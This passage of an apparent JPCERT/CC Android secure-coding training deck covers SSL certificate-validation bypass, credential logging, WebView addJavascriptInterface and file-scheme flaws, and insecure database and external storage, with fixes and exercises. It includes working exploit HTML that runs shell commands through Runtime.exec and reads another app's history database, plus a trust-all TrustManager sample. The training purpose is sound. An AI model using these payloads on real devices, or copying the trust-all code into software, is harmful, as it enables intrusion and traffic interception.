  194. 194. Copyright©2015 JPCERT/CC All rights reserved. Vulnerable Code 194 xxx.xxxx.xxxxx.xxxx.ApiRequest$1  v12  =  new  X509TrustManager()  { public  void  checkClientTrusted(X509Certificate[]  chain,  String  authType)  throws  CertificateException { } public  void  checkServerTrusted(X509Certificate[]  chain,  String  authType)  throws  CertificateException { } public  X509Certificate[]  getAcceptedIssuers()  { return  null; } }; try  { SSLContext v18  =  SSLContext.getInstance("TLS"); v18.init(null,  new TrustManager[]{v12},  null); ((HttpsURLConnection)v8).setSSLSocketFactory(v18.getSocketFactory()); ((HttpsURLConnection)v8).setSSLSocketFactory(v18.getSocketFactory()); ((HttpsURLConnection)v8).setHostnameVerifier(new HostnameVerifier()  { public  boolean verify(String  string,  SSLSession ssls)  { return  1; } }); ((HttpURLConnection)v8).setRequestMethod("POST"); ((HttpURLConnection)v8).setDoOutput(true); ((HttpURLConnection)v8).setRequestProperty("Referer",  ”xxx.xxx.xxxx.xxx"); ((HttpURLConnection)v8).setRequestProperty("Content-­‐Type",  "application/x-­‐www-­‐form-­‐urlencoded"); ((HttpURLConnection)v8).setRequestProperty("Content-­‐Length",  v16.length()); ((HttpURLConnection)v8).setRequestProperty("User-­‐Agent",  this.mUserAgent); ((HttpURLConnection)v8).setRequestProperty("X-­‐Requested-­‐With",  "xmlHttpRequest"); ((HttpURLConnection)v8).setInstanceFollowRedirects(false); ((HttpURLConnection)v8).connect();
  195. 195. Copyright©2015 JPCERT/CC All rights reserved. Fix Custom TrustManager and HostnameVerifier are removed from the app 195 try  { URL  v14  =  new  URL(url.split("¥¥?")[0]); String  v12  =  new  URL(url).getQuery(); v5  =  v14.openConnection(); ((HttpURLConnection)v5).setRequestMethod("POST"); ((HttpURLConnection)v5).setDoOutput(true); ((HttpURLConnection)v5).setRequestProperty("Referer",  ”xxx.xxx.xxxx.xxx"); ((HttpURLConnection)v5).setRequestProperty("Content-­‐Type",  "application/x-­‐www-­‐form-­‐urlencoded"); ((HttpURLConnection)v5).setRequestProperty("Content-­‐Length",  v12.length()); ((HttpURLConnection)v5).setRequestProperty("User-­‐Agent",  this.mUserAgent); ((HttpURLConnection)v5).setRequestProperty("X-­‐Requested-­‐With",  "xmlHttpRequest"); ((HttpURLConnection)v5).setInstanceFollowRedirects(false); ((HttpURLConnection)v5).connect();
  196. 196. Copyright©2015 JPCERT/CC All rights reserved. Summary Never bypass SSL/TLS certificate validation —Don’t ignore Exceptions —Especially when you need to customize TrustManager or HostnameVerifier If you disable certificate validation for debugging purpose —Put it back before you release your app Do not copy and paste sample code from some website —No guarantee to be secure 196
  197. 197. Copyright©2015 JPCERT/CC All rights reserved. 5.4.1.2 Communicatingvia HTTPS 197 JSSEC Secure Coding Guidebook 5.4. 2 Rule Book Don’t customize TrustManagerand HostnameVerifier
  198. 198. Copyright©2015 JPCERT/CC All rights reserved.198 Exercise: Vulnerability Analysis Part 3 Photo by Sebastiaanter Burg
  199. 199. Copyright©2015 JPCERT/CC All rights reserved. Using tools mitmproxy or Fiddler —proxy tool apktool —reverse engineering tool dex2jar —convert dex to jar file JD-GUI —decompile for Java 199
  200. 200. Copyright©2015 JPCERT/CC All rights reserved. Install mitmproxy mitmproxy —http://mitmproxy.org/ —Installation in Windows —Install Python —https://www.python.org/ 200 pip  install  mitmproxy
  201. 201. Copyright©2015 JPCERT/CC All rights reserved. Install Fiddler Fiddler —http://www.telerik.com/fiddler Configure Fiddler to capture traffic from Android apps —Click [Tools] > [Fiddler Options] Click [HTTPS] > [Decrypt HTTPS traffic] Click [Connections] > [Allow remote computers to connect] 201
  202. 202. Copyright©2015 JPCERT/CC All rights reserved. apktool apktool —https://ibotpeaches.github.io/Apktool/ —for reverse engineering apk files —Features decode resources rebuild etc. 202
  203. 203. Copyright©2015 JPCERT/CC All rights reserved. dex2jar dex2jar —https://github.com/pxb1988/dex2jar —convert Android dex file to Java class file 203
  204. 204. Copyright©2015 JPCERT/CC All rights reserved. JD-GUI JD-GUI —http://jd.benow.ca/ —Decompiler for Java 204
  205. 205. Copyright©2015 JPCERT/CC All rights reserved.205 SSL Vulnerability Exercise #1
  206. 206. Copyright©2015 JPCERT/CC All rights reserved. SSL Vulnerability Many app contains SSL vulnerability. —The FireEye Mobile Security Team analyzed the 1,000 most downloaded free apps in Google Play. They found SSL Vulnerability in about 68% of apps. 206 http://www.fireeye.com/blog/technical/2014/08/ssl-vulnerabilities-who- listens-when-android-applications-talk.html
  207. 207. Copyright©2015 JPCERT/CC All rights reserved. Install vulnerable app Vulnerable app —Monaca Debugger for Android ver1.4.1 Monaca Debugger for Android contains an issue where it fails to verify SSL server certificates. Installation 207 adb install  mobi.monaca.debugger-­‐1.4.1.apk
  208. 208. Copyright©2015 JPCERT/CC All rights reserved. Exercise: SSL Vulnerability PC —Run the mitmproxy or Fiddler in PC mitmproxy —Defaultport: 8080 Fiddler —Defaultport: 8888 Android —[Settings] > [Wi-Fi] > [target AP] Tap the [Show advanced options] —Change proxy settings [Proxy hostname], [Proxy port] —Launch Monaca Debugger Type "hoge@example.com" in the Email Address and "abcdefg" in the Password, Tap Login. 208
  209. 209. Copyright©2015 JPCERT/CC All rights reserved. Using mitmproxy 209
  210. 210. Copyright©2015 JPCERT/CC All rights reserved. Using Fiddler 210
  211. 211. Copyright©2015 JPCERT/CC All rights reserved. Analysis Decode resources —Decode files output "out" directory. Convert a dex file to a jar file —Launch JD-GUI —Open the jar file mobi.monaca.debugger-1.4.1_dex2jar.jar 211 dex2jar.sh  mobi.monaca.debugger-­‐1.4.1.apk java  –jar  apktool.jar d  mobi.monaca.debugger-­‐1.4.1.apk  out
  212. 212. Copyright©2015 JPCERT/CC All rights reserved. Find the Vulnerable Code 212 Find vulnerable code!
  213. 213. Copyright©2015 JPCERT/CC All rights reserved. Vulnerable Code mobi.monaca.framework.util.MySSLSocketFactory 213 public class MySSLSocketFactory extends org.apache.http.conn.ssl.SSLSocketFactory { SSLContext sslContext =  SSLContext.getInstance("TLS"); public MySSLSocketFactory(KeyStore paramKeyStore) throws NoSuchAlgorithmException,   KeyManagementException,   KeyStoreException,   UnrecoverableKeyException { super(paramKeyStore); X509TrustManager   local1   =  new   X509TrustManager() { public void checkClientTrusted(X509Certificate[]   paramAnonymousArrayOfX509Certificate,   String   paramAnonymousString) throws CertificateException { } public void checkServerTrusted(X509Certificate[]   paramAnonymousArrayOfX509Certificate,   String   paramAnonymousString) throws CertificateException { } public X509Certificate[]   getAcceptedIssuers() { return null; } };
  214. 214. Copyright©2015 JPCERT/CC All rights reserved.214 Logging Vulnerability Exercise #2
  215. 215. Copyright©2015 JPCERT/CC All rights reserved. Install vulnerable app Vulnerable app —Monaca Debugger for Android ver1.4.1 Monaca Debugger for Android contains an information management vulnerability. Installation 215 adb install  mobi.monaca.debugger-­‐1.4.1.apk
  216. 216. Copyright©2015 JPCERT/CC All rights reserved. Exercise: Logging Vulnerability Connect Android to PC using the USB —Android Enable [Developer options] > [USB debugging] —On Android 4.2 and higher, the Developeroptions screen is hidden by default. Goto [Settings]> [About phone]and tap [Build number]seven times. —PC Launch Monaca Debugger —Type "hoge@example.com" in the Email Address and "abcdefg" in the Password, tap Login. 216 adb shell  logcat
  217. 217. Copyright©2015 JPCERT/CC All rights reserved. Exercise: Logging Vulnerability 217
  218. 218. Copyright©2015 JPCERT/CC All rights reserved. Exercise: Identify the vulnerable code 218 Identify the vulnerable code!
  219. 219. Copyright©2015 JPCERT/CC All rights reserved. Vulnerable Code mobi.monaca.debuggar.api.LoginResultEntry 219 public static LoginResultEntry build(String   paramString,   UserEntry paramUserEntry) { while (true) { try { JSONObject localJSONObject =  new   JSONObject(paramString); String   str1   =  localJSONObject.optString("status"); String   str2   =  localJSONObject.optString("result"); if ((str1.equals("ok"))   &&   (str2.equals("ok"))) { localLoginResultEntry1   =   new   LoginResultEntry(paramUserEntry,   localJSONObject.optString("alert"),   localJSONObject.optString("confirm"),   localJSONObject.optString("redirect")); Log.i(TAG,   "loginResultEntry:" +  localLoginResultEntry1); return localLoginResultEntry1; } } catch (JSONException localJSONException) { MyLog.d(TAG,   "error:   JSONException,   return   failure()"); LoginResultEntry localLoginResultEntry2   =   failure(); localLoginResultEntry2.setUserEntry(paramUserEntry); return localLoginResultEntry2; }
  220. 220. Copyright©2015 JPCERT/CC All rights reserved.220 WebView Vulnerability Exercise #3
  221. 221. Copyright©2015 JPCERT/CC All rights reserved. WebView Vulnerability Javascript is turned on —WebView#addJavascriptInterface —same origin policy XMLHttpRequest File schema 221
  222. 222. Copyright©2015 JPCERT/CC All rights reserved. WebView#addJavascriptInterface WebView#addJavascriptInterface(Object object, String name) —allows the Java object's method to be accessed from Javascript 222 @Override public void onCreate(Bundle  savedInstanceState)  { super.onCreate(savedInstanceState); setContentView(R.layout.demo); context  =  this.getApplicationContext(); webView  =  (WebView)  findViewById(R.id.demoWebView); webView.getSettings().setJavaScriptEnabled(true); webView.addJavascriptInterface(new JSObject(this), "jsobject"); } public class JSObject { Context  mContext; public JSObject(Context  context)  { mContext =  context; } }
  223. 223. Copyright©2015 JPCERT/CC All rights reserved. Install vulnerable app Vulnerable app —Sleipnir Mobile for Android 2.0.4 Sleipnir Mobile for Android contains an arbitrary Java method execution vulnerability. Installation app Exploit code 223 adb install  jp.co.fenrir.android.sleipnir-­‐2.0.4.apk adb push  addjavascriptinterface.html /mnt/sdcard/
  224. 224. Copyright©2015 JPCERT/CC All rights reserved. Exercise: WebView Vulnerability Launch Sleipnir Mobile Open exploit html file —file://mnt/sdcard/addjavascriptinterface.html 224
  225. 225. Copyright©2015 JPCERT/CC All rights reserved. Exploit code addjavascriptinterface.html 225 <html> <body> <p>WebView  Vulnerability:  addJavascriptInterface</p> <script> var myclass =  SleipnirMobile; var classLoader =  myclass.getClass().getClassLoader(); //  using  android.os.Build var buildClass =  classLoader.loadClass('android.os.Build'); document.write("<br />"); document.write(buildClass.getField('SERIAL').get(null).toString()); document.write("<br />"); document.write(buildClass.getField('FINGERPRINT').get(null).toString()); //  using  java.lang.Runtime var runtimeClass =  classLoader.loadClass('java.lang.Runtime'); var runtimeMethod =  runtimeClass.getMethod('getRuntime', null); var get_runtime =  runtimeMethod.invoke(null, null); document.write("<br />"); document.write("create  a  text  file  on  /mnt/sdcard/"); document.write(get_runtime.exec(['sh', '-­‐c', 'touch  /mnt/sdcard/hoge.txt'])); </script> </body> </html>
  226. 226. Copyright©2015 JPCERT/CC All rights reserved. Exercise: Identify the vulnerable code 226 Identify the vulnerable code!
  227. 227. Copyright©2015 JPCERT/CC All rights reserved. Vulnerable Code jp.co.fenrir.android.sleipnir.tab.Tab 227 this.i.getSettings().setGeolocationEnabled(true); this.i.getSettings().setRenderPriority(WebSettings.RenderPriority.HIGH); this.i.getSettings().setSavePassword(b.t().getBoolean(jp.co.fenrir.android.sleipnir.ac.H.name(),  true)); this.i.b(b.t().getBoolean(jp.co.fenrir.android.sleipnir.ac.ai.name(),  false)); try { this.i.getSettings().setBuiltInZoomControls(true); Field  localField =  this.i.getSettings().getClass().getDeclaredField("mBuiltInZoomControls"); localField.setAccessible(true); localField.set(this.i.getSettings(),  Boolean.valueOf(false)); this.i.setWebViewClient(new  l(this)); this.i.setWebChromeClient(new  Tab.7(this)); this.i.setDownloadListener(new  v(this)); this.i.addJavascriptInterface(new  Tab.JsSleipnirMobile(this,  null),  "SleipnirMobile"); this.i.addJavascriptInterface(new  Tab.JsSlexApi(this,  null),  "SleipnirExtensionApi"); if (this.m !=  null) { jp.co.fenrir.android.sleipnir.viewmode.a locala =  this.m; this.m =  null; a(locala); }
  228. 228. Copyright©2015 JPCERT/CC All rights reserved. File schema Vulnerability Vulnerable app —Sleipnir Mobile for Android 2.0.4 If a user of the affected product uses other malicious Android app, information managed by the affected product may be disclosed. Exploit code 228 adb push  fileschema.html /mnt/sdcard/
  229. 229. Copyright©2015 JPCERT/CC All rights reserved. Exercise: WebView Vulnerability Type the following command: 229 adb shell  am  start  -­‐n  jp.co.fenrir.android.sleipnir/.main.IntentActivity file:///mnt/sdcard/fileschema.html
  230. 230. Copyright©2015 JPCERT/CC All rights reserved. Exploit code fileschema.html 230 <html> <body> <p>WebView  Vulnerability:  File  schema</p> <div id="result"> </div> <script> var xmlhttp =  new  XMLHttpRequest(); xmlhttp.open('GET', 'file:///data/data/jp.co.fenrir.android.sleipnir/databases/history.db', false); xmlhttp.send(null); var ret  =  xmlhttp.responseText; document.getElementById('result').innerHTML =  ret; </script> </body> </html>
  231. 231. Copyright©2015 JPCERT/CC All rights reserved.231 YSO-Mobile-Security-Framework Tool Demo
  232. 232. Copyright©2015 JPCERT/CC All rights reserved. Mobile Security Framework https://github.com/ajinabraham/YSO-Mobile-Security- Framework —Open Source Static analysis tool for Android/iOS —Requirements Python 2.7 Django 1.8 Oracle Java 1.7 or above 232
  233. 233. Copyright©2015 JPCERT/CC All rights reserved. Mobile Security Framework DEMO 233 python  manage.py runserver 127.0.0.1:8000
  234. 234. Copyright©2015 JPCERT/CC All rights reserved.234 Exercise: Security Code Review Part 4 Photo by Fraser Speirs
  235. 235. Copyright©2015 JPCERT/CC All rights reserved. Sample Application RSS Viewer retrieve RSS data and —parse it —store it in DB —display it using ListView WebView 235
  236. 236. Copyright©2015 JPCERT/CC All rights reserved. Eclipse Settings 236 Check the text encoding and build target text  encoding  is "UTF-‐‑‒8" Installed  SDK  version
  237. 237. Copyright©2015 JPCERT/CC All rights reserved. Sample Application 237 Don't look at the next slides to cheat! Find as many vulnerabilities as you can!
  238. 238. Copyright©2015 JPCERT/CC All rights reserved. Flaws File Permission App data is accessible/manipulative from other apps Storing data on external media Logging Unnecessary permission request …… 238
  239. 239. Copyright©2015 JPCERT/CC All rights reserved. Spot the flaw 239 • File permission of the DB is inappropriate • the permission of rss.db is 644 • accessible from other apps
  240. 240. Copyright©2015 JPCERT/CC All rights reserved. Location: Inappropriate DB file permission 240 • Corresponding code: • RssContentProvider#onCreate • RssContentProvider#insert • RssContentProvider#query RssContentProvider#insert
  241. 241. Copyright©2015 JPCERT/CC All rights reserved. Details: Inappropriate DB file permission 241 SQLiteDatabase#openOrCreateDatabase • no argument to specify file permission • DB file will be created with permission 644 • SQLiteDatabase#dbopen is called • Native method is called • android_database_SQLiteDatabase.cpp • dbopen method • sqlite3_open_v2 function is used to create a file • you cannot specify permission 660
  242. 242. Copyright©2015 JPCERT/CC All rights reserved. Solution 1 242 Context#openOrCreateDatabase • 2nd argument sets the file permission • Internally, • calls SQLiteDatabase#openOrCreateDatabase • then changes the permission using setFilePermissionsFromMode • specifiable permissions: • Context.MODE_PRIVATE • Context.MODE_WORLD_READABLE • Context.MODE_WORLD_WRITEABLE
  243. 243. Copyright©2015 JPCERT/CC All rights reserved. Solution 2 243 SQLiteOpenHelper Class • Internally, • calls Context#openOrCreateDatabase • Cannot specify a permission but • file is created with Context.MODE_PRIVATE SQLiteOpenHelper.java
  244. 244. Copyright©2015 JPCERT/CC All rights reserved. Solution 3 244 File#setReadable /File#setWritable • avaliable in Android 2.3 or later • create a DB file using SQLiteDatabase#openOrCreateDatabase and then set a file permission
  245. 245. Copyright©2015 JPCERT/CC All rights reserved. Solution 4 245 non-public method: FileUtils#setPermissions • create a DB file using SQLiteDatabase#openOrCreateDatabase and then set a file permission
  246. 246. Copyright©2015 JPCERT/CC All rights reserved. File Permissions 246 Available file permissions: • Context.MODE_PRIVATE • Context.MODE_WORLD_READABLE • Context.MODE_WORLD_WRITEABLE Methods to create a new file (can specify permissions): • getSharedPreferences • openFileOutput
  247. 247. Copyright©2015 JPCERT/CC All rights reserved. DB File 247 SQLite • SQLite has no option to encrypt database • you can easily read the DB using dump command SQLCipher for Android • SQLite with encryption • 256-bit AES to encrypt DB https://github.com/sqlcipher/android-database-sqlcipher
  248. 248. Copyright©2015 JPCERT/CC All rights reserved. Vulnerable Application 248 Skype for Android • DB file permission was 666 • Other apps could read phone number, chat history etc. http://www.androidpolice.com/2011/04/14/exclusive-vulnerability-in-skype-for-android-is-exposing-your-name- phone-number-chat-logs-and-a-lot-more/#how-can-skype-fix-this Creating a file using native code was a root cause of this vuln.
  249. 249. Copyright©2015 JPCERT/CC All rights reserved. Data Access/Manipulation 249 ContentProvider • mechanism to share data between applications • makes it easy to implement reading/writing data • don't need to worry about locking/exclusive access control Without proper access control, other application can retrieve/manipulate your content provider
  250. 250. Copyright©2015 JPCERT/CC All rights reserved. Spot the flaw 250 AndroidManifest.xml • The spot where the original ContentProvider is declared • <provider />
  251. 251. Copyright©2015 JPCERT/CC All rights reserved. Solution 251 AndroidManifest.xml <provider android:name=“RssContentProvider" android:authorities="com.example.app.Provider" android:exported=“false" /> don't make it public <provider android:name=“RssContentProvider" android:authorities="com.example.app.Provider" android:permission="com.example.app.permission.Provider" /> <permission android:name="com.example.app.permission.Provider" /> Limit the access to the app that has a specific permission <provider android:name=“RssContentProvider" android:authorities="com.example.app.Provider" android:permission="com.example.app.permission.Provider" /> <permission android:protectionLevel="signature" android:name="com.example.app.permission.Provider" /> Limit the access to the app that has the same signature However,forAndroid v2.2(API8) and before,exported="false" may not be effective for  Android  4.2(API17)  or  later,   exported="false"  by  default
  252. 252. Copyright©2015 JPCERT/CC All rights reserved. Vulnerable Application 252 Dropbox for Android • other apps could access the application data via ContentProvider of Dropbox • this could lead to the manipulation of DB , which may allow attacker's access to DB data http://www.net-security.org/secworld.php?id=11456
  253. 253. Copyright©2015 JPCERT/CC All rights reserved. External Data Storage 253 xml file is stored on external storage (SD card) the content of the xml file is RSS data
  254. 254. Copyright©2015 JPCERT/CC All rights reserved. Spot the external data storage 254 RssParser.javaif (code  ==  HttpStatus.SC_OK)  { result  =    EntityUtils.toString(response.getEntity(),  "UTF-­‐8"); BufferedOutputStream bufOutputStream =  new BufferedOutputStream( new FileOutputStream( new File(Environment .getExternalStorageDirectory(),  "rss.xml"))); bufOutputStream.write(result.getBytes()); bufOutputStream.flush(); bufOutputStream.close(); } BufferedReader bufferedReader =  new BufferedReader( new FileReader( new File(Environment .getExternalStorageDirectory(),  "rss.xml"))); String  line  =  bufferedReader.readLine(); while (line  !=  null)  { body  +=  line; line  =  bufferedReader.readLine(); } bufferedReader.close(); Retrieved RSS data is stored on external media. Stored RSS file is opened to be parsed.
  255. 255. Copyright©2015 JPCERT/CC All rights reserved. Solution 255 RssParser.javaif (code  ==  HttpStatus.SC_OK)  { result  =    EntityUtils.toString(response.getEntity(),  "UTF-­‐8"); OutputStream os =  mContext.openFileOutput("rss.xml", Context.MODE_PRIVATE); os.write(result.getBytes()); os.close(); } BufferedReader bufferedReader =  new BufferedReader( new InputStreamReader( mContext.openFileInput("rss.xml"))); String  line  =  bufferedReader.readLine(); while (line  !=  null)  { body  +=  line; line  =  bufferedReader.readLine(); } bufferedReader.close(); Store data in application directory Open data from app directory and then parse the data
  256. 256. Copyright©2015 JPCERT/CC All rights reserved. External Storage 256 • Any application can access external storage • READ_EXTERNAL_STORAGE permission need in Android 4.4(API19) or later • Stored data may be tampered… • If sensitive data is stored there… Use of External Storage needs extreme caution

×